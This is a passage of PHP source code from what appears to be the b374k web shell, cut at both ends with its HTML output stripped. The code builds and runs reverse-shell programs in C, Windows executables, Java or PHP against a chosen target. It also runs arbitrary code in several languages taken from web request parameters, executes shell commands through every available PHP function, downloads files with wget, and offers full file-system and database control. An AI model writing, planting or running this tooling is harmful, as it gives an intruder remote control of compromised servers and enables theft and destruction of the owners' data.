$s_result = exe("chmod +x ".$s_fpath); $s_result = exe("./".$s_fpath." ".$s_rstarget); } else $s_result = $s_errgcc; } else $s_result = $s_errperm; } else $s_result = $s_errperm; } elseif($s_lang=="win"){ $s_fpath = "b374k_rs.exe"; if(@is_file($s_fpath)) unlink($s_fpath); if($s_file = fopen($s_fpath,"w")){ fwrite($s_file,$s_fc); fclose($s_file); if(@is_file($s_fpath)){ $s_result = exe($s_fpath." ".$s_rstarget); } else $s_result = $s_errperm; } else $s_result = $s_errperm; } elseif($s_lang=="java"){ $s_fpath = "b374k_rs"; if(@is_file($s_fpath.".java")) unlink($s_fpath.".java"); if(@is_file($s_fpath.".class")) unlink($s_fpath.".class"); if($s_file = fopen($s_fpath.".java", "w")){ fwrite($s_file,$s_fc); fclose($s_file); if(@is_file($s_fpath.".java")){ $s_result = exe("javac ".$s_fpath.".java"); if(@is_file($s_fpath.".class")){ $s_result = exe("java ".$s_fpath." ".$s_rstarget); } else $s_result = $s_errjavac; } else $s_result = $s_errperm; } else $s_result = $s_errperm; } elseif($s_lang=="php"){ $s_result = eval("?>".$s_fc); } if(@is_file($s_fpath)) unlink($s_fpath); if(@is_file($s_fpath.".c")) unlink($s_fpath.".c"); if(@is_file($s_fpath.".java")) unlink($s_fpath.".java"); if(@is_file($s_fpath.".class")) unlink($s_fpath.".class"); if(@is_file($s_fpath."\$pt.class")) unlink($s_fpath."\$pt.class"); return $s_result; } function geol($str){ $nl = PHP_EOL; if(preg_match("/\r\n/", $str, $r)) $nl = "\r\n"; else{ if(preg_match("/\n/", $str, $r)) $nl = "\n"; elseif(preg_match("/\r/", $str, $r)) $nl = "\r"; } return bin2hex($nl); } function ts($s_s){ if($s_s<=0) return 0; $s_w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB'); $s_e = floor(log($s_s)/log(1024)); return sprintf('%.2f '.$s_w[$s_e], ($s_s/pow(1024, floor($s_e)))); } function gs($s_f){ $s_s = @filesize($s_f); if($s_s !== false){ if($s_s<=0) return 0; return ts($s_s); } else return "???"; } function gp($s_f){ if($s_m = @fileperms($s_f)){ $s_p = 'u'; if(($s_m & 0xC000) == 0xC000)$s_p = 's'; elseif(($s_m & 0xA000) == 0xA000)$s_p = 'l'; elseif(($s_m & 0x8000) == 0x8000)$s_p = '-'; elseif(($s_m & 0x6000) == 0x6000)$s_p = 'b'; elseif(($s_m & 0x4000) == 0x4000)$s_p = 'd'; elseif(($s_m & 0x2000) == 0x2000)$s_p = 'c'; elseif(($s_m & 0x1000) == 0x1000)$s_p = 'p'; $s_p .= ($s_m & 00400)? 'r':'-'; $s_p .= ($s_m & 00200)? 'w':'-'; $s_p .= ($s_m & 00100)? 'x':'-'; $s_p .= ($s_m & 00040)? 'r':'-'; $s_p .= ($s_m & 00020)? 'w':'-'; $s_p .= ($s_m & 00010)? 'x':'-'; $s_p .= ($s_m & 00004)? 'r':'-'; $s_p .= ($s_m & 00002)? 'w':'-'; $s_p .= ($s_m & 00001)? 'x':'-'; return $s_p; } else return "???????????"; } function exe($s_c){ $s_out = ""; $s_c = $s_c." 2>&1"; if(is_callable('system')) { ob_start(); @system($s_c); $s_out = ob_get_contents(); ob_end_clean(); if(!empty($s_out)) return $s_out; } if(is_callable('shell_exec')){ $s_out = @shell_exec($s_c); if(!empty($s_out)) return $s_out; } if(is_callable('exec')) { @exec($s_c,$s_r); if(!empty($s_r)) foreach($s_r as $s_s) $s_out .= $s_s; if(!empty($s_out)) return $s_out; } if(is_callable('passthru')) { ob_start(); @passthru($s_c); $s_out = ob_get_contents(); ob_end_clean(); if(!empty($s_out)) return $s_out; } if(is_callable('proc_open')) { $s_descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $s_proc = @proc_open($s_c, $s_descriptorspec, $s_pipes, getcwd(), array()); if (is_resource($s_proc)) { while($s_si = fgets($s_pipes[1])) { if(!empty($s_si)) $s_out .= $s_si; } while($s_se = fgets($s_pipes[2])) { if(!empty($s_se)) $s_out .= $s_se; } } @proc_close($s_proc); if(!empty($s_out)) return $s_out; } if(is_callable('popen')){ $s_f = @popen($s_c, 'r'); if($s_f){ while(!feof($s_f)){ $s_out .= fread($s_f, 2096); } pclose($s_f); } if(!empty($s_out)) return $s_out; } return ""; } function rmdirs($s){ $s = (substr($s,-1)=='/')? $s:$s.'/'; if($dh = opendir($s)){ while(($f = readdir($dh))!==false){ if(($f!='.')&&($f!='..')){ $f = $s.$f; if(@is_dir($f)) rmdirs($f); else @unlink($f); } } closedir($dh); @rmdir($s); } } function copys($s,$d,$c=0){ if($dh = opendir($s)){ if(!@is_dir($d)) @mkdir($d); while(($f = readdir($dh))!==false){ if(($f!='.')&&($f!='..')){ if(@is_dir($s.DS.$f)) copys($s.DS.$f,$d.DS.$f); else copy($s.DS.$f,$d.DS.$f); } } closedir($dh); } } function getallfiles($s_dir){ $s_f = glob($s_dir.'*'); for($s_i = 0; $s_i ".$s_p); if(@is_file($s_p)) return true; } if($s_lwpdownload){ $buff = exe("lwp-download ".$s_u." ".$s_p); if(@is_file($s_p)) return true; } return false; } function get_writabledir(){ if(!$s_d = getenv("TEMP")) if(!$s_d = getenv("TMP")) if(!$s_d = getenv("TMPDIR")){ if(@is_writable("/tmp")) $s_d = "/tmp/"; else if(@is_writable(".")) $s_d = ".".DS; } return cp($s_d); } function zip($s_srcarr, $s_dest){ if(!extension_loaded('zip')) return false; if(class_exists("ZipArchive")){ $s_zip = new ZipArchive(); if(!$s_zip->open($s_dest, 1)) return false; if(!is_array($s_srcarr)) $s_srcarr = array($s_srcarr); foreach($s_srcarr as $s_src){ $s_src = str_replace('\\', '/', $s_src); if(@is_dir($s_src)){ $s_files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s_src), 1); foreach($s_files as $s_file){ $s_file = str_replace('\\', '/', $s_file); if(in_array(substr($s_file, strrpos($s_file, '/')+1), array('.', '..'))) continue; if (@is_dir($s_file)===true) $s_zip->addEmptyDir(str_replace($s_src.'/', '', $s_file.'/')); else if (@is_file($s_file)===true) $s_zip->addFromString(str_replace($s_src.'/', '', $s_file), @fgc($s_file)); } } elseif(@is_file($s_src) === true) $s_zip->addFromString(basename($s_src), @fgc($s_src)); } $s_zip->close(); return true; } } function check_access($s_lang){ $s_s = false; $ver = ""; switch($s_lang){ case "python": $s_cek = strtolower(exe("python -h")); if(strpos($s_cek,"usage")!==false) $ver = exe("python -V"); break; case "perl": $s_cek = strtolower(exe("perl -h")); if(strpos($s_cek,"usage")!==false) $ver = exe("perl -e \"print \$]\""); break; case "ruby": $s_cek = strtolower(exe("ruby -h")); if(strpos($s_cek,"usage")!==false) $ver = exe("ruby -v"); break; case "node": $s_cek = strtolower(exe("node -h")); if(strpos($s_cek,"usage")!==false) $ver = exe("node -v"); break; case "nodejs": $s_cek = strtolower(exe("nodejs -h")); if(strpos($s_cek,"usage")!==false) $ver = exe("nodejs -v"); break; case "gcc": $s_cek = strtolower(exe("gcc --help")); if(strpos($s_cek,"usage")!==false){ $s_ver = exe("gcc --version"); $s_ver = explode("\n",$s_ver); if(count($s_ver)>0) $ver = $s_ver[0]; } break; case "tar": $s_cek = strtolower(exe("tar --help")); if(strpos($s_cek,"usage")!==false){ $s_ver = exe("tar --version"); $s_ver = explode("\n",$s_ver); if(count($s_ver)>0) $ver = $s_ver[0]; } break; case "java": $s_cek = strtolower(exe("java -help")); if(strpos($s_cek,"usage")!==false) $ver = str_replace("\n", ", ", exe("java -version")); break; case "javac": $s_cek = strtolower(exe("javac -help")); if(strpos($s_cek,"usage")!==false) $ver = str_replace("\n", ", ", exe("javac -version")); break; case "wget": $s_cek = strtolower(exe("wget --help")); if(strpos($s_cek,"usage")!==false){ $s_ver = exe("wget --version"); $s_ver = explode("\n",$s_ver); if(count($s_ver)>0) $ver = $s_ver[0]; } break; case "lwpdownload": $s_cek = strtolower(exe("lwp-download --help")); if(strpos($s_cek,"usage")!==false){ $s_ver = exe("lwp-download --version"); $s_ver = explode("\n",$s_ver); if(count($s_ver)>0) $ver = $s_ver[0]; } break; case "lynx": $s_cek = strtolower(exe("lynx --help")); if(strpos($s_cek,"usage")!==false){ $s_ver = exe("lynx -version"); $s_ver = explode("\n",$s_ver); if(count($s_ver)>0) $ver = $s_ver[0]; } break; case "curl": $s_cek = strtolower(exe("curl --help")); if(strpos($s_cek,"usage")!==false){ $s_ver = exe("curl --version"); $s_ver = explode("\n",$s_ver); if(count($s_ver)>0) $ver = $s_ver[0]; } break; default: return false; } if(!empty($ver)) $s_s = $ver; return $s_s; } function showdir($s_cwd){ global $s_self, $s_win, $s_posix, $s_tar; $s_fname = $s_dname = array(); $s_total_file = $s_total_dir = 0; if($s_dh = @opendir($s_cwd)){ while($s_file = @readdir($s_dh)){ if(@is_dir($s_file)) $s_dname[] = $s_file; elseif(@is_file($s_file))$s_fname[] = $s_file; } closedir($s_dh); } natcasesort($s_fname); natcasesort($s_dname); $s_list = array_merge($s_dname,$s_fname); if($s_win){ chdir(".."); if(cp(getcwd())==cp($s_cwd)) array_unshift($s_list, "."); chdir($s_cwd); } $s_path = explode(DS,$s_cwd); $s_tree = sizeof($s_path); $s_parent = ""; if($s_tree > 2) for($s_i = 0; $s_i<$s_tree-2; $s_i++) $s_parent .= $s_path[$s_i].DS; else $s_parent = $s_cwd; $s_owner_html = (!$s_win && $s_posix)? "owner:group":""; $s_colspan = (!$s_win && $s_posix)? "5" : "4"; $s_buff = "".$s_owner_html.""; foreach($s_list as $s_l){ if(!$s_win && $s_posix){ $s_name = posix_getpwuid(fileowner($s_l)); $s_group = posix_getgrgid(filegroup($s_l)); $s_owner = $s_name['name'].":".$s_group['name']; $s_owner_html = ""; } $s_lhref = $s_lname = $s_laction = ""; if(@is_dir($s_l)){ if($s_l=="."){ $s_lhref = $s_self."cd=".pl($s_cwd); $s_lsize = "LINK"; $s_laction = "find | upl | +file | +dir
                "; } elseif($s_l==".."){ $s_lhref = $s_self."cd=".pl($s_parent); $s_lsize = "LINK"; $s_laction = "find | upl | +file | +dir
                "; } else{ $s_lhref = $s_self."cd=".pl($s_cwd.$s_l.DS); $s_lsize = "DIR"; $s_laction = "find | upl | ren | del
                "; $s_total_dir++; } $s_lname = "[ ".$s_l." ]"; $s_lsizetit = "0"; $s_lnametit = "dir : ".$s_l; } else{ $s_lhref = $s_self."view=".pl($s_cwd.$s_l); $s_lname = $s_l; $s_lsize = gs($s_l); $s_lsizetit = @filesize($s_l); $s_lnametit = "file : ".$s_l; $s_laction = "edit | hex | ren | del | dl
                "; $s_total_file++; } $s_cboxval = $s_cwd.$s_l; if($s_l=='.') $s_cboxval = $s_cwd; if($s_l=='..') $s_cboxval = $s_parent; $s_cboxes_id = substr(md5($s_lhref),0,8); $s_cboxes = ""; $s_ltime = filemtime($s_l); $s_buff .= "".$s_owner_html.""; } $s_buff .= ""; $s_extract = ""; $s_compress = ""; if(class_exists("ZipArchive")){ $s_extract .= ""; $s_compress .= ""; } if($s_tar){ $s_extract .= ""; $s_compress .=""; } $s_extcom = ($s_extract!="" && $s_compress!="")? $s_extract."".$s_compress:$s_extract.$s_compress; $s_buff .= "
                namesizepermsmodifiedaction
                ".$s_owner."
                ".$s_cboxes."".$s_lname."".$s_lsize."".gp($s_l)."".@date("d-M-Y H:i:s",$s_ltime)."".$s_laction."
                Total : ".$s_total_file." files, ".$s_total_dir." Directories
                "; return $s_buff; } function sql_connect($s_sqltype, $s_sqlhost, $s_sqluser, $s_sqlpass){ if($s_sqltype == 'mysql'){ if(class_exists('mysqli')) return new mysqli($s_sqlhost, $s_sqluser, $s_sqlpass); elseif(function_exists('mysql_connect')) return @mysql_connect($s_sqlhost, $s_sqluser, $s_sqlpass); } elseif($s_sqltype == 'mssql'){ if(function_exists('sqlsrv_connect')){ $s_coninfo = array("UID"=>$s_sqluser, "PWD"=>$s_sqlpass); return @sqlsrv_connect($s_sqlhost,$s_coninfo); } elseif(function_exists('mssql_connect')) return @mssql_connect($s_sqlhost, $s_sqluser, $s_sqlpass); } elseif($s_sqltype == 'pgsql'){ $s_hosts = explode(":", $s_sqlhost); if(count($s_hosts)==2){ $s_host_str = "host=".$s_hosts[0]." port=".$s_hosts[1]; } else $s_host_str = "host=".$s_sqlhost; if(function_exists('pg_connect')) return @pg_connect("$s_host_str user=$s_sqluser password=$s_sqlpass"); } elseif($s_sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($s_sqluser, $s_sqlpass, $s_sqlhost); } elseif($s_sqltype == 'sqlite3'){ if(class_exists('SQLite3')) if(!empty($s_sqlhost)) return new SQLite3($s_sqlhost); else return false; } elseif($s_sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($s_sqlhost); } elseif($s_sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($s_sqlhost, $s_sqluser, $s_sqlpass); } elseif($s_sqltype == 'pdo'){ if(class_exists('PDO')) if(!empty($s_sqlhost)) return new PDO($s_sqlhost, $s_sqluser, $s_sqlpass); else return false; } return false; } function sql_query($s_sqltype, $s_query, $s_con){ if($s_sqltype == 'mysql'){ if(class_exists('mysqli')) return $s_con->query($s_query); elseif(function_exists('mysql_query')) return mysql_query($s_query); } elseif($s_sqltype == 'mssql'){ if(function_exists('sqlsrv_query')) return sqlsrv_query($s_con,$s_query); elseif(function_exists('mssql_query')) return mssql_query($s_query); } elseif($s_sqltype == 'pgsql') return pg_query($s_query); elseif($s_sqltype == 'oracle') return oci_execute(oci_parse($s_con, $s_query)); elseif($s_sqltype == 'sqlite3') return $s_con->query($s_query); elseif($s_sqltype == 'sqlite') return sqlite_query($s_con, $s_query); elseif($s_sqltype == 'odbc') return odbc_exec($s_con, $s_query); elseif($s_sqltype == 'pdo') return $s_con->query($s_query); } function sql_num_rows($s_sqltype,$s_hasil){ if($s_sqltype == 'mysql'){ if(class_exists('mysqli_result')) return $s_hasil->mysqli_num_rows; elseif(function_exists('mysql_num_rows')) return mysql_num_rows($s_hasil); } elseif($s_sqltype == 'mssql'){ if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($s_hasil); elseif(function_exists('mssql_num_rows')) return mssql_num_rows($s_hasil); } elseif($s_sqltype == 'pgsql') return pg_num_rows($s_hasil); elseif($s_sqltype == 'oracle') return oci_num_rows($s_hasil); elseif($s_sqltype == 'sqlite3'){ $s_metadata = $s_hasil->fetchArray(); if(is_array($s_metadata)) return $s_metadata['count']; } elseif($s_sqltype == 'sqlite') return sqlite_num_rows($s_hasil); elseif($s_sqltype == 'odbc') return odbc_num_rows($s_hasil); elseif($s_sqltype == 'pdo') return $s_hasil->rowCount(); } function sql_num_fields($s_sqltype, $s_hasil){ if($s_sqltype == 'mysql'){ if(class_exists('mysqli_result')) return $s_hasil->field_count; elseif(function_exists('mysql_num_fields')) return mysql_num_fields($s_hasil); } elseif($s_sqltype == 'mssql'){ if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($s_hasil); elseif(function_exists('mssql_num_fields')) return mssql_num_fields($s_hasil); } elseif($s_sqltype == 'pgsql') return pg_num_fields($s_hasil); elseif($s_sqltype == 'oracle') return oci_num_fields($s_hasil); elseif($s_sqltype == 'sqlite3') return $s_hasil->numColumns(); elseif($s_sqltype == 'sqlite') return sqlite_num_fields($s_hasil); elseif($s_sqltype == 'odbc') return odbc_num_fields($s_hasil); elseif($s_sqltype == 'pdo') return $s_hasil->columnCount(); } function sql_field_name($s_sqltype,$s_hasil,$s_i){ if($s_sqltype == 'mysql'){ if(class_exists('mysqli_result')) { $z=$s_hasil->fetch_field();return $z->name;} elseif(function_exists('mysql_field_name')) return mysql_field_name($s_hasil,$s_i); } elseif($s_sqltype == 'mssql'){ if(function_exists('sqlsrv_field_metadata')){ $s_metadata = sqlsrv_field_metadata($s_hasil); if(is_array($s_metadata)){ $s_metadata=$s_metadata[$s_i]; } if(is_array($s_metadata)) return $s_metadata['Name']; } elseif(function_exists('mssql_field_name')) return mssql_field_name($s_hasil,$s_i); } elseif($s_sqltype == 'pgsql') return pg_field_name($s_hasil,$s_i); elseif($s_sqltype == 'oracle') return oci_field_name($s_hasil,$s_i+1); elseif($s_sqltype == 'sqlite3') return $s_hasil->columnName($s_i); elseif($s_sqltype == 'sqlite') return sqlite_field_name($s_hasil,$s_i); elseif($s_sqltype == 'odbc') return odbc_field_name($s_hasil,$s_i+1); elseif($s_sqltype == 'pdo'){ $s_res = $s_hasil->getColumnMeta($s_i); return $s_res['name']; } } function sql_fetch_data($s_sqltype,$s_hasil){ if($s_sqltype == 'mysql'){ if(class_exists('mysqli_result')) return $s_hasil->fetch_row(); elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($s_hasil); } elseif($s_sqltype == 'mssql'){ if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($s_hasil,1); elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($s_hasil); } elseif($s_sqltype == 'pgsql') return pg_fetch_row($s_hasil); elseif($s_sqltype == 'oracle') return oci_fetch_row($s_hasil); elseif($s_sqltype == 'sqlite3') return $s_hasil->fetchArray(1); elseif($s_sqltype == 'sqlite') return sqlite_fetch_array($s_hasil,1); elseif($s_sqltype == 'odbc') return odbc_fetch_array($s_hasil); elseif($s_sqltype == 'pdo') return $s_hasil->fetch(2); } function sql_close($s_sqltype,$s_con){ if($s_sqltype == 'mysql'){ if(class_exists('mysqli')) return $s_con->close(); elseif(function_exists('mysql_close')) return mysql_close($s_con); } elseif($s_sqltype == 'mssql'){ if(function_exists('sqlsrv_close')) return sqlsrv_close($s_con); elseif(function_exists('mssql_close')) return mssql_close($s_con); } elseif($s_sqltype == 'pgsql') return pg_close($s_con); elseif($s_sqltype == 'oracle') return oci_close($s_con); elseif($s_sqltype == 'sqlite3') return $s_con->close(); elseif($s_sqltype == 'sqlite') return sqlite_close($s_con); elseif($s_sqltype == 'odbc') return odbc_close($s_con); elseif($s_sqltype == 'pdo') return $s_con = null; } if(!function_exists('str_split')){ function str_split($s_t,$s_s=1){ $s_a = array(); for($s_i = 0; $s_i0) $s_result .= notif($s_counter." items moved"); else $s_result .= notif("No items moved"); } elseif($_GP['z']=='copyok'){ foreach($s_lists as $s_l){ if(@is_dir($s_l)){ copys($s_l,$s_cwd.basename($s_l)); if(file_exists($s_cwd.basename($s_l))) $s_counter++; } elseif(@is_file($s_l)){ copy($s_l,$s_cwd.basename($s_l)); if(file_exists($s_cwd.basename($s_l))) $s_counter++; } } if($s_counter>0) $s_result .= notif($s_counter." items copied"); else $s_result .= notif("No items copied"); } elseif($_GP['z']=='delok'){ foreach($s_lists as $s_l){ if(@is_file($s_l)){ if(unlink($s_l)) $s_counter++; } elseif(@is_dir($s_l)){ rmdirs($s_l); if(!file_exists($s_l)) $s_counter++; } } if($s_counter>0) $s_result .= notif($s_counter." items deleted"); else $s_result .= notif("No items deleted"); } elseif(isset($_GP['chmodok'])){ $s_mod = octdec($_GP['chmodok']); foreach($s_lists as $s_l) if(chmod($s_l,$s_mod)) $s_counter++; if($s_counter>0) $s_result .= notif($s_counter." items changed mode to ".decoct($s_mod)); else $s_result .= notif("No items modified"); } elseif(isset($_GP['touchok'])){ $s_datenew = strtotime($_GP['touchok']); foreach($s_lists as $s_l) if(touch($s_l,$s_datenew)) $s_counter++; if($s_counter>0) $s_result .= notif($s_counter." items changed access and modification time to ".@date("d-M-Y H:i:s",$s_datenew)); else $s_result .= notif("No items modified"); } elseif(isset($_GP['compresszipok'])){ $s_file = $_GP['compresszipok']; if(zip($s_lists, $s_file)) $s_result .= notif("Archive created : ".hss($s_file)); else $s_result .= notif("Error creating archive file"); } elseif(isset($_GP['compresstarok'])){ $s_lists_ = array(); $s_file = $_GP['compresstarok']; $s_file = basename($s_file); $s_lists__ = array_map("basename", $s_lists); $s_lists_ = array_map("pf", $s_lists__); exe("tar cf \"".$s_file."\" ".implode(" ", $s_lists_)); if(@is_file($s_file)) $s_result .= notif("Archive created : ".hss($s_file)); else $s_result .= notif("Error creating archive file"); } elseif(isset($_GP['compresstargzok'])){ $s_lists_ = array(); $s_file = $_GP['compresstargzok']; $s_file = basename($s_file); $s_lists__ = array_map("basename", $s_lists); $s_lists_ = array_map("pf", $s_lists__); exe("tar czf \"".$s_file."\" ".implode(" ", $s_lists_)); if(@is_file($s_file)) $s_result .= notif("Archive created : ".hss($s_file)); else $s_result .= notif("Error creating archive file"); } elseif(isset($_GP['extractzipok'])){ $s_file = $_GP['extractzipok']; $zip = new ZipArchive(); foreach($s_lists as $f){ $s_target = $s_file.basename($f,".zip"); if($zip->open($f)){ if(!@is_dir($s_target)) @mkdir($s_target); if($zip->extractTo($s_target)) $s_result .= notif("Files extracted to ".hss($s_target)); else $s_result .= notif("Error extrating archive file"); $zip->close(); } else $s_result .= notif("Error opening archive file"); } } elseif(isset($_GP['extracttarok'])){ $s_file = $_GP['extracttarok']; foreach($s_lists as $f){ $s_target = ""; $s_target = basename($f,".tar"); if(!@is_dir($s_target)) @mkdir($s_target); exe("tar xf \"".basename($f)."\" -C \"".$s_target."\""); } } elseif(isset($_GP['extracttargzok'])){ $s_file = $_GP['extracttargzok']; foreach($s_lists as $f){ $s_target = ""; if(strpos(strtolower($f), ".tar.gz")!==false) $s_target = basename($f,".tar.gz"); elseif(strpos(strtolower($f), ".tgz")!==false) $s_target = basename($f,".tgz"); if(!@is_dir($s_target)) @mkdir($s_target); exe("tar xzf \"".basename($f)."\" -C \"".$s_target."\""); } } } setcookie("buffer", "" ,time() - $s_login_time); setcookie("massact", "" ,time() - $s_login_time); } if(isset($_GP['y'])){ $s_massact = isset($_COOKIE['massact'])? $_COOKIE['massact']:""; $s_buffer = isset($_COOKIE['buffer'])? rtrim(ss($_COOKIE['buffer']),"|"):""; $s_lists = explode("|", $s_buffer); if(!empty($s_buffer)){ if($_GP['y']=='delete'){ $s_result .= notif("Delete ? Yes | No"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP['y']=='paste' && $s_massact=='cut'){ $s_result .= notif("Move here ? Yes | No"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP['y']=='paste' && $s_massact=='copy'){ $s_result .= notif("Copy here ? Yes | No"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP['y']=='chmod'){ $s_result .= notif("Permissions ?
                "); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP['y']=='touch'){ $s_result .= notif("Touch ?
                "); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP['y']=='extractzip'){ $s_result .= notif("Extract to ?
                "); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP['y']=='extracttar'){ $s_result .= notif("Extract to ?
                "); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP['y']=='extracttargz'){ $s_result .= notif("Extract to ?
                "); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP['y']=='compresszip'){ $s_result .= notif("Compress to ?
                "); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP['y']=='compresstar'){ $s_result .= notif("Compress to ?
                "); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP['y']=='compresstargz'){ $s_result .= notif("Compress to ?
                "); foreach($s_lists as $s_l) $s_result .= notif($s_l); } } } if(isset($_GP['img'])){ ob_end_clean(); $s_d = isset($_GP['d'])? $_GP['d']:""; $s_f = $_GP['img']; $s_inf = @getimagesize($s_d.$s_f); $s_ext = explode($s_f, "."); $s_ext = $s_ext[count($s_ext)-1]; header("Content-type: ".$s_inf["mime"]); header("Cache-control: public"); header("Expires: ".@date("r", @mktime(0,0,0,1,1,2030))); header("Cache-control: max-age=".(60*60*24*7));# readfile($s_d.$s_f); die(); } elseif(isset($_GP['oldname']) && isset($_GP['rename'])){ $s_old = $_GP['oldname']; $s_new = $_GP['rename']; $s_renmsg = ""; if(@is_dir($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "Directory ".$s_old." renamed to ".$s_new : "Unable to rename directory ".$s_old." to ".$s_new; elseif(@is_file($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "File ".$s_old." renamed to ".$s_new : "Unable to rename file ".$s_old." to ".$s_new; else $s_renmsg = "Cannot find the path specified ".$s_old; $s_result .= notif($s_renmsg); $s_fnew = $s_new; } elseif(!empty($_GP['del'])){ $s_del = trim($_GP['del']); $s_result .= notif("Delete ".basename($s_del)." ? Yes | No"); } elseif(!empty($_GP['delete'])){ $s_f = $_GP['delete']; $s_delmsg = ""; if(@is_file($s_f)) $s_delmsg = (unlink($s_f))? "File removed : ".$s_f : "Unable to remove file ".$s_f; elseif(@is_dir($s_f)){ rmdirs($s_f); $s_delmsg = (@is_dir($s_f))? "Unable to remove directory ".$s_f : "Directory removed : ".$s_f; } else $s_delmsg = "Cannot find the path specified ".$s_f; $s_result .= notif($s_delmsg); } elseif(!empty($_GP['mkdir'])){ $s_f = $s_cwd.$_GP['mkdir']; $s_dirmsg = ""; $s_num = 1; if(@is_dir($s_f)){ $s_pos = strrpos($s_f,"_"); if($s_pos!==false) $s_num = (int) substr($s_f, $s_pos+1); while(@is_dir(substr($s_f, 0, $s_pos)."_".$s_num)){ $s_num++; } $s_f = substr($s_f, 0, $s_pos)."_".$s_num; } if(mkdir($s_f)) $s_dirmsg = "Directory created ".$s_f; else $s_dirmsg = "Unable to create directory ".$s_f; $s_result .= notif($s_dirmsg); } if(isset($_GP['x']) && ($_GP['x']=='eval')){ $s_code = ""; $s_res = ""; $s_evaloption = ""; $s_lang = "php"; if(isset($_GP['evalcode'])){ $s_code = $_GP['evalcode']; $s_evaloption = (isset($_GP['evaloption']))? $_GP['evaloption']:""; $s_tmpdir = get_writabledir(); if(isset($_GP['lang'])){$s_lang = $_GP['lang'];} if(strtolower($s_lang)=='php'){ ob_start(); eval($s_code); $s_res = ob_get_contents(); ob_end_clean(); } elseif(strtolower($s_lang)=='python'||strtolower($s_lang)=='perl'||strtolower($s_lang)=='ruby'||strtolower($s_lang)=='node'||strtolower($s_lang)=='nodejs'){ $s_rand = md5(time().rand(0,100)); $s_script = $s_tmpdir.$s_rand; if(file_put_contents($s_script, $s_code)!==false){ $s_res = exe($s_lang." ".$s_evaloption." ".$s_script); unlink($s_script); } } elseif(strtolower($s_lang)=='gcc'){ $s_script = md5(time().rand(0,100)); chdir($s_tmpdir); if(file_put_contents($s_script.".c", $s_code)!==false){ $s_scriptout = $s_win ? $s_script.".exe" : $s_script; $s_res = exe("gcc ".$s_script.".c -o ".$s_scriptout.$s_evaloption); if(@is_file($s_scriptout)){ $s_res = $s_win ? exe($s_scriptout):exe("chmod +x ".$s_scriptout." ; ./".$s_scriptout); rename($s_scriptout, $s_scriptout."del"); unlink($s_scriptout."del"); } unlink($s_script.".c"); } chdir($s_cwd); } elseif(strtolower($s_lang)=='java'){ if(preg_match("/class\ ([^{]+){/i",$s_code, $s_r)){ $s_classname = trim($s_r[1]); $s_script = $s_classname; } else{ $s_rand = "b374k_".substr(md5(time().rand(0,100)),0,8); $s_script = $s_rand; $s_code = "class ".$s_rand." { ".$s_code . " } "; } chdir($s_tmpdir); if(file_put_contents($s_script.".java", $s_code)!==false){ $s_res = exe("javac ".$s_script.".java"); if(@is_file($s_script.".class")){ $s_res .= exe("java ".$s_evaloption." ".$s_script); unlink($s_script.".class"); } unlink($s_script.".java"); } chdir($s_pwd); } } $s_lang_available = ""; $s_selected = ""; $s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_javac"); foreach($s_access as $s){ if(isset($$s)){ $s_t = explode("_", $s); $s_checked = ($s_lang == $s_t[1])? "selected" : ""; $s_lang_available .= ""; } } $s_evaloptionclass = ($s_lang=="php")? "sembunyi":""; $s_e_result = (!empty($s_res))? "
                ".hss($s_res)."
                ":""; $s_result .= "

                Additional option  
                ".$s_e_result."
                "; } elseif(isset($_GP['find'])){ $s_p = $_GP['find']; $s_type = isset($_GP['type'])? $_GP['type'] : "sfile"; $s_sfname = (!empty($_GP['sfname']))? $_GP['sfname']:''; $s_sdname = (!empty($_GP['sdname']))? $_GP['sdname']:''; $s_sfcontain = (!empty($_GP['sfcontain']))? $_GP['sfcontain']:''; $s_sfnameregexchecked = $s_sfnameicasechecked = $s_sdnameregexchecked = $s_sdnameicasechecked = $s_sfcontainregexchecked = $s_sfcontainicasechecked = $s_swritablechecked = $s_sreadablechecked = $s_sexecutablechecked = ""; $s_sfnameregex = $s_sfnameicase = $s_sdnameregex = $s_sdnameicase = $s_sfcontainregex = $s_sfcontainicase = $s_swritable = $s_sreadable = $s_sexecutable = false; if(isset($_GP['sfnameregex'])){ $s_sfnameregex=true; $s_sfnameregexchecked="checked"; } if(isset($_GP['sfnameicase'])){ $s_sfnameicase=true; $s_sfnameicasechecked="checked"; } if(isset($_GP['sdnameregex'])){ $s_sdnameregex=true; $s_sdnameregexchecked="checked"; } if(isset($_GP['sdnameicase'])){ $s_sdnameicase=true; $s_sdnameicasechecked="checked"; } if(isset($_GP['sfcontainregex'])){ $s_sfcontainregex=true; $s_sfcontainregexchecked="checked"; } if(isset($_GP['sfcontainicase'])){ $s_sfcontainicase=true; $s_sfcontainicasechecked="checked"; } if(isset($_GP['swritable'])){ $s_swritable=true; $s_swritablechecked="checked"; } if(isset($_GP['sreadable'])){ $s_sreadable=true; $s_sreadablechecked="checked"; } if(isset($_GP['sexecutable'])){ $s_sexecutable=true; $s_sexecutablechecked="checked"; } $s_sexecb = (function_exists("is_executable"))? "